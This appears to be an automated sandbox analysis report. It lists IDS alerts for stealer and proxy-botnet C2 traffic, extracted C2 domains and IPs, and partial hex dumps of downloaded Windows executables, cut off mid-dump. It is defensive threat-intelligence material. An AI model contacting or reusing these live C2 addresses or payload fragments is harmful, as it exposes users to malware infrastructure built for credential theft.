Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63490 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63500 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63500 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63489 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63510 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63493 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63504 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63493 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63499 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63510 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63512 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63512 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63507 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63505 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63505 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63496 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63496 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63494 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63486 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63486 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63499 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63507 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63494 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63488 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63492 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63492 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63497 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63497 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63503 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63503 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63508 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63508 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:63459 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:63459 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:63377 -> 194.87.248.136:80
Source: Network traffic	Suricata IDS: 2055782 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI) : 192.168.2.4:63400 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63387 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63387 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63397 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63397 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63391 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63386 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63386 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:63388 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63391 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.214.132:443 -> 192.168.2.4:63388
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63394 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63394 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.214.132:443 -> 192.168.2.4:63385
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63398 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63398 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63400 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63400 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63405 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63405 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63417 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63417 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63420 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63420 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63422 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63422 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63424 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63424 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63425 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63425 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63426 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63426 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63428 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63428 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63429 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63429 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63442 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63442 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63455 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63455 -> 104.21.26.150:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63447 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63447 -> 172.67.221.198:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63458 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63458 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63449 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63449 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63444 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63444 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.214.132:443 -> 192.168.2.4:63467
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63453 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63453 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.214.132:443 -> 192.168.2.4:63515
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.214.132:443 -> 192.168.2.4:63516
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63441 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63441 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.214.132:443 -> 192.168.2.4:63462

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: evoliutwoqm.shop
Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop
Source: Malware configuration extractor	URLs: locatedblsoqp.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: stamppreewntnq.shop
Source: Malware configuration extractor	URLs: awwardwiqi.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199768374681
Source: Malware configuration extractor	URLs: https://t.me/edm0d
Source: Malware configuration extractor	URLs: tventyvd20sr.top
Source: Malware configuration extractor	URLs: analforeverlovyu.top
Source: Malware configuration extractor	URLs: @tventyvd20sr.top
Source: Malware configuration extractor	URLs: 45.91.202.63:25415

Source: unknown

Network traffic detected: IP country count 11

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 11 Sep 2024 14:22:16 GMTContent-Type: application/octet-streamContent-Length: 1751040Last-Modified: Wed, 11 Sep 2024 12:41:14 GMTConnection: keep-aliveETag: "66e18fea-1ab800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0b 5a dc 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 b0 66 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 66 00 00 04 00 00 bd ad 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 f0 23 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 23 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 23 00 00 10 00 00 00 3c 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 23 00 00 00 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 23 00 00 02 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 29 00 00 00 24 00 00 02 00 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 79 6d 6f 61 7a 74 65 00 50 19 00 00 50 4d 00 00 42 19 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 6a 67 6b 78 70 6a 00 10 00 00 00 a0 66 00 00 04 00 00 00 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 66 00 00 22 00 00 00 96 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 14:22:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 10 Sep 2024 20:54:33 GMTETag: "fe408-621ca1499d440"Accept-Ranges: bytesContent-Length: 1041416Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 4b 5a 65 25 2a 34 36 25 2a 34 36 25 2a 34 36 2c 52 b7 36 26 2a 34 36 2c 52 a7 36 34 2a 34 36 25 2a 35 36 89 2a 34 36 3e b7 9e 36 2b 2a 34 36 3e b7 ae 36 24 2a 34 36 3e b7 a9 36 24 2a 34 36 52 69 63 68 25 2a 34 36 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 cf e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 70 00 00 00 da 3e 00 00 42 00 00 99 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 a0 48 00 00 04 00 00 75 45 10 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 30 47 00 86 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1c 6f 00 00 00 10 00 00 00 70 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 66 3e 00 00 b0 00 00 00 02 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 20 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 86 28 01 00 00 30 47 00 00 2a 01 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0e 32 00 00 00 60 48 00 00 34 00 00 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Wed, 11 Sep 2024 14:22:16 GMTContent-Type: application/octet-streamContent-Length: 3456914Connection: keep-aliveContent-Description: File TransferContent-Disposition: attachment; filename=install.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 9e 00 00 00 46 00 00 00 00 00 00 f8 a5 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 30 9d 00 00 00 10 00 00 00 9e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 50 02 00 00 00 b0 00 00 00 04 00 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 8c 0e 00 00 00 c0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 c4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 11 Sep 2024 14:22:16 GMTContent-Type: application/octet-streamContent-Length: 1811225Last-Modified: Fri, 06 Sep 2024 12:34:32 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66daf6d8-1ba319"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 4b 5a 65 25 2a 34 36 25 2a 34 36 25 2a 34 36 2c 52 b7 36 26 